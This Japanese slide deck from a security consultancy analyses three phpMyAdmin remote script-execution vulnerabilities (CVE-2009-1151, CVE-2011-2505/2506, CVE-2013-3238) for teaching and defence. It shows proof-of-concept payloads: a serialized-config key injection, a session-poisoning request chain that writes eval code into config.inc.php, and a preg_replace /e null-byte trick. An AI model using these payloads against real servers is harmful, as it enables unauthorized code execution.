---
title: phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
tags:  #security  
author: [徳丸 浩](https://convert.docswell.com/user/ockeghem)
site: [Docswell](https://www.docswell.com/)
thumbnail: https://bcdn.docswell.com/page/V9J2P3K3JR.jpg?width=480
description: phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ by 徳丸 浩
published: July 31, 13
canonical: https://convert.docswell.com/s/ockeghem/ZN9L7Z-phpmyadmin-rce-vul
---
# Page. 1

![Page Image](https://bcdn.docswell.com/page/V9J2P3K3JR.jpg)

phpMyAdminにおける
スクリプト実行可能な脆弱性3種盛り合わせ
HASH コンサルティング株式会社
徳丸 浩


# Page. 2

![Page Image](https://bcdn.docswell.com/page/5DEY51N8EM.jpg)

アジェンダ
• 今日はphpMyAdminにおける「スクリプト実行可能な脆
弱性」を3種類紹介します
– CVE-2009-1151
– CVE-2011-2505 / CVE-2011-2506
– CVE-2013-3238
• まとめ
Copyright © 2013 HASH Consulting Corp.
2


# Page. 3

![Page Image](https://bcdn.docswell.com/page/2VJNN2X9J8.jpg)

はじめに
• （サーバーサイド）スクリプト実行可能な脆弱性と
いうと…
• OSコマンドインジェクション
• evalインジェクション
• Local File Inclusion (LFI) / Remote File
Inclusion(RFI)
• スクリプトファイルのアップロード
• …
• 今回紹介するものはどれでもない
Copyright © 2013 HASH Consulting Corp.
3


# Page. 4

![Page Image](https://bcdn.docswell.com/page/GYE9R18373.jpg)

phpMyAdminとは…
Copyright © 2013 HASH Consulting Corp.
4


# Page. 5

![Page Image](https://bcdn.docswell.com/page/5GE8W48L7D.jpg)

CVE-2009-1151
Copyright © 2013 HASH Consulting Corp.
5


# Page. 6

![Page Image](https://bcdn.docswell.com/page/MLELN6RQJR.jpg)

CVE-2009-1151
http://jvndb.jvn.jp/ja/contents/2009/JVNDB-2009-001443.html
6


# Page. 7

![Page Image](https://bcdn.docswell.com/page/54JMX5PK7W.jpg)

セットアップ内容のセーブ
Copyright © 2013 HASH Consulting Corp.
7


# Page. 8

![Page Image](https://bcdn.docswell.com/page/ZPJRN31679.jpg)

configurationはシリアライズされたオブジェクト
configuration=a:1:{s:7:&quot;Servers&quot;;a:1:{i:0;a:6:{s:4:&quot;h
ost&quot;;s:9:&quot;localhost&quot;;s:9:&quot;extension&quot;;s:5:&quot;mysql&quot;;s:1
2:&quot;connect_type&quot;;s:3:&quot;tcp&quot;;s:8:&quot;compress&quot;;b:0;s:9:&quot;
auth_type&quot;;s:6:&quot;config&quot;;s:4:&quot;user&quot;;s:4:&quot;root&quot;;}}}
Copyright © 2013 HASH Consulting Corp.
8


# Page. 9

![Page Image](https://bcdn.docswell.com/page/NPEXN4YDJX.jpg)

configurationからPHPソースが作られる
configuration=a:1:{s:7:&quot;Servers&quot;;a:1:{i:0;a:6:{s:4:&quot;host&quot;;s:9:&quot;localhost
&quot;;s:9:&quot;extension&quot;;s:5:&quot;mysql&quot;;s:12:&quot;connect_type&quot;;s:3:&quot;tcp&quot;;s:8:&quot;comp
ress&quot;;b:0;s:9:&quot;auth_type&quot;;s:6:&quot;config&quot;;s:4:&quot;user&quot;;s:4:&quot;root&quot;;}}}
$i++;
$cfg[&#039;Servers&#039;][$i][&#039;host&#039;] = &#039;localhost&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;extension&#039;] = &#039;mysql&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;connect_type&#039;] = &#039;tcp&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;compress&#039;] = false;
$cfg[&#039;Servers&#039;][$i][&#039;auth_type&#039;] = &#039;config&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;user&#039;] = &#039;root&#039;;
Array (
[Servers] =&gt; Array (
[0] =&gt; Array (
[host] =&gt; localhost
[extension] =&gt; mysql
[connect_type] =&gt; tcp
[compress] =&gt;
[auth_type] =&gt; config
[user] =&gt; root
)
)
)
Copyright © 2013 HASH Consulting Corp.
9


# Page. 10

![Page Image](https://bcdn.docswell.com/page/63EKNZ3DED.jpg)

値に「’」を入れると、ちゃんとエスケープされる
configuration=a:1:{s:7:&quot;Servers&quot;;a:1:{i:0;a:6:{s:4:&quot;host&quot;;s:11:&quot;localho
st&#039;a&quot;;s:9:&quot;extension&quot;;s:5:&quot;mysql&quot;;s:12:&quot;connect_type&quot;;s:3:&quot;tcp&quot;;s:8:&quot;c
ompress&quot;;b:0;s:9:&quot;auth_type&quot;;s:6:&quot;config&quot;;s:4:&quot;user&quot;;s:4:&quot;root&quot;;}}}
$i++;
$cfg[&#039;Servers&#039;][$i][&#039;host&#039;] = &#039;localhost¥&#039;a&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;extension&#039;] = &#039;mysql&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;connect_type&#039;] = &#039;tcp&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;compress&#039;] = false;
$cfg[&#039;Servers&#039;][$i][&#039;auth_type&#039;] = &#039;config&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;user&#039;] = &#039;root&#039;;
Array (
[Servers] =&gt; Array (
[0] =&gt; Array (
[host] =&gt; localhost&#039;a
[extension] =&gt; mysql
[connect_type] =&gt; tcp
[compress] =&gt;
[auth_type] =&gt; config
[user] =&gt; root
)
)
)
Copyright © 2013 HASH Consulting Corp.
10


# Page. 11

![Page Image](https://bcdn.docswell.com/page/4L73VDGPE5.jpg)

でも、キー側の「’」はエスケープされない ^^;
configuration=a:1:{s:7:&quot;Servers&quot;;a:1:{i:0;a:6:{s:6:&quot;host&#039;a&quot;;s:9:&quot;localho
st&quot;;s:9:&quot;extension&quot;;s:5:&quot;mysql&quot;;s:12:&quot;connect_type&quot;;s:3:&quot;tcp&quot;;s:8:&quot;co
mpress&quot;;b:0;s:9:&quot;auth_type&quot;;s:6:&quot;config&quot;;s:4:&quot;user&quot;;s:4:&quot;root&quot;;}}}
$i++;
$cfg[&#039;Servers&#039;][$i][&#039;host&#039;a&#039;] = &#039;localhost&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;extension&#039;] = &#039;mysql&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;connect_type&#039;] = &#039;tcp&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;compress&#039;] = false;
$cfg[&#039;Servers&#039;][$i][&#039;auth_type&#039;] = &#039;config&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;user&#039;] = &#039;root&#039;;
Array (
[Servers] =&gt; Array (
[0] =&gt; Array (
[host&#039;a] =&gt; localhost
[extension] =&gt; mysql
[connect_type] =&gt; tcp
[compress] =&gt;
[auth_type] =&gt; config
[user] =&gt; root
)
)
)
Copyright © 2013 HASH Consulting Corp.
11


# Page. 12

![Page Image](https://bcdn.docswell.com/page/V87D8P137G.jpg)

キーにスクリプトを注入可能
configuration=a:1:{s:7:&quot;Servers&quot;;a:1:{i:0;a:6:{s:19:&quot;host&#039;]=phpinfo();//&quot;;s:9:
&quot;localhost&quot;;s:9:&quot;extension&quot;;s:5:&quot;mysql&quot;;s:12:&quot;connect_type&quot;;s:3:&quot;tcp&quot;;s:8:&quot;
compress&quot;;b:0;s:9:&quot;auth_type&quot;;s:6:&quot;config&quot;;s:4:&quot;user&quot;;s:4:&quot;root&quot;;}}}
Array (
[Servers] =&gt; Array (
[0] =&gt; Array (
[host&#039;&#039;]=phpinfo();//] =&gt; localhost
[extension] =&gt; mysql
[connect_type] =&gt; tcp
[compress] =&gt;
[auth_type] =&gt; config
[user] =&gt; root
)
)
$i++;
)
$cfg[&#039;Servers&#039;][$i][&#039;host’]=phpinfo();//&#039;] = &#039;localhost&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;extension&#039;] = &#039;mysql&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;connect_type&#039;] = &#039;tcp&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;compress&#039;] = false;
$cfg[&#039;Servers&#039;][$i][&#039;auth_type&#039;] = &#039;config&#039;;
$cfg[&#039;Servers&#039;][$i][&#039;user&#039;] = &#039;root&#039;;
Copyright © 2013 HASH Consulting Corp.
12


# Page. 13

![Page Image](https://bcdn.docswell.com/page/4VJP8NQPJ8.jpg)

あーあ、サーバー側でスクリプトが…
Copyright © 2013 HASH Consulting Corp.
13


# Page. 14

![Page Image](https://bcdn.docswell.com/page/L2EVNK5V7Q.jpg)

CVE-2011-2505 / CVE-2011-2506
Copyright © 2013 HASH Consulting Corp.
14


# Page. 15

![Page Image](https://bcdn.docswell.com/page/Z57GKQ61JL.jpg)

CVE-2011-2505
• 細工をしたクエリ文字列を通して、セッション変数
を変更できる
if (strstr($_SERVER[&#039;QUERY_STRING&#039;],&#039;session_to_unset&#039;) != false)
{
parse_str($_SERVER[&#039;QUERY_STRING&#039;]);
session_write_close();
session_id($session_to_unset); // セッションIDの変更
session_start();
$_SESSION = array();
session_write_close();
session_destroy();
exit;
}
libraries/auth/swekey/swekey.auth.lib.php 266行目以降
Copyright © 2013 HASH Consulting Corp.
15


# Page. 16

![Page Image](https://bcdn.docswell.com/page/V4EQNK4NEP.jpg)

parse_str 関数
http://php.net/manual/ja/function.parse-str.php
16


# Page. 17

![Page Image](https://bcdn.docswell.com/page/DKJ4GPQ3E1.jpg)

parse_str 関数の実行例
&lt;?php
session_start();
parse_str(&#039;a=xyz&amp;b[x]=p23&amp;_SESSION[user]=yamada&#039;);
var_dump($a);
var_dump($b);
var_dump($_SESSION);
【実行結果】
string(3) &quot;xyz&quot;
array(1) {
[&quot;x&quot;]=&gt;
string(3) &quot;p23&quot;
}
array(1) {
[&quot;user&quot;]=&gt;
string(6) &quot;yamada&quot;
}
Copyright © 2013 HASH Consulting Corp.
17


# Page. 18

![Page Image](https://bcdn.docswell.com/page/PLE1D9PZ7G.jpg)

CVE-2011-2506
http://jvndb.jvn.jp/ja/contents/2011/JVNDB-2011-004722.html
18


# Page. 19

![Page Image](https://bcdn.docswell.com/page/8GEWYQ26J2.jpg)

// servers
if ($cf-&gt;getServerCount() &gt; 0) {
$ret .= &quot;/* Servers configuration */$crlf¥$i = 0;&quot; . $crlf . $crlf;
foreach ($c[&#039;Servers&#039;] as $id =&gt; $server) {
$ret .= &#039;/* Server: &#039; . strtr($cf-&gt;getServerName($id), &#039;*/&#039;, &#039;-&#039;) . &quot; [$id] */&quot; . $crlf
setup/lib/ConfigGenerator.class.php 38行目
• サーバー名(getServerName())は、コメント記号
をサニタイジングしている
• $idの方はサニタイジングしていない → 脆弱性
• CVE-2011-2505により、$idに攻撃コードが注
入できる
Copyright © 2013 HASH Consulting Corp.
19


# Page. 20

![Page Image](https://bcdn.docswell.com/page/W47ZXWDRJ3.jpg)

exploitの流れ
セッションID、トークンの取得など
GET /phpmyadmin/setup/index.php
セッション変数汚染
GET /phpmyadmin/?_SESSION[ConfigFile][Servers][*/攻撃スクリプト
攻撃コードの埋め込み（ファイルへの保存）
POST /phpmyadmin/setup/config.php
攻撃コードの実行
GET /phpmyadmin/config/config.inc.php?eval=攻撃コード
Copyright © 2013 HASH Consulting Corp.
20


# Page. 21

![Page Image](https://bcdn.docswell.com/page/KYJ64G11EV.jpg)

CVE-2013-3238
Copyright © 2013 HASH Consulting Corp.
21


# Page. 22

![Page Image](https://bcdn.docswell.com/page/5GJ5QV4LE4.jpg)

CVE-2013-3238
http://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-002490.html
22


# Page. 23

![Page Image](https://bcdn.docswell.com/page/4LE3VDGDJ5.jpg)

テーブルの接頭辞を変更する機能
Copyright © 2013 HASH Consulting Corp.
23


# Page. 24

![Page Image](https://bcdn.docswell.com/page/V8ED8P12EG.jpg)

/e¥0 をphpinfo()に変更する操作を実行してみる
Copyright © 2013 HASH Consulting Corp.
24


# Page. 25

![Page Image](https://bcdn.docswell.com/page/4V7P8NQL78.jpg)

Phpinfo()が実行された ^^;
Copyright © 2013 HASH Consulting Corp.
25


# Page. 26

![Page Image](https://bcdn.docswell.com/page/L2JVNK56EQ.jpg)

攻撃ができる理由
case &#039;replace_prefix_tbl&#039;:
$current = $selected[$i];
$newtablename = preg_replace(&quot;/^&quot; . $from_prefix . &quot;/&quot;, $to_prefix, $current);
$from_pref = &quot;/e¥0&quot;
preg_replace(&quot;/^/e¥0/&quot;, &quot;phpinfo();&quot;, &quot;test&quot;);
PHP5.4.3以前では、¥0以降は無視される
preg_replace(&quot;/^/e&quot;, &quot;phpinfo();&quot;, &quot;test&quot;);
Copyright © 2013 HASH Consulting Corp.
26


# Page. 27

![Page Image](https://bcdn.docswell.com/page/Z5EGKQ627L.jpg)

/e 修飾子…
http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php
27


# Page. 28

![Page Image](https://bcdn.docswell.com/page/V4JQNK49JP.jpg)

/e 修飾子…続き
http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php
28


# Page. 29

![Page Image](https://bcdn.docswell.com/page/DK74GPLRJ1.jpg)

脆弱性が混入した要因
• preg_replaceに渡す正規表現をエスケープして
いなかった
– 最低限、/ をエスケープする必要がある
preg_replace(“/^” . $from_prefix . “/”, …
↓
reg_replace(&quot;/^&quot; . preg_quote($from_prefix, &#039;/&#039;) . &quot;/&quot;, …
• えーっと、preg_quoteって、マルチバイト対応
だっけ?
– Shift_JIS以外では問題ない?
Copyright © 2013 HASH Consulting Corp.
29


# Page. 30

![Page Image](https://bcdn.docswell.com/page/PLJ1D9LVEG.jpg)

まとめ
• phpMyAdminのスクリプト実行可能な脆弱性3種
類を紹介しました
• うち、2種類は比較的基本的なもの…脆弱性診
断でも見つかる?
• Setup用のスクリプトが外部から叩けるという状
況がそもそもおかしい気が…
– phpMyAdminが標準的な導入・運用のスタイルを提
供していない?
• 脆弱性の入り方は酷いと思うけど、脆弱性って
大抵酷いものだよねw
Copyright © 2013 HASH Consulting Corp.
30


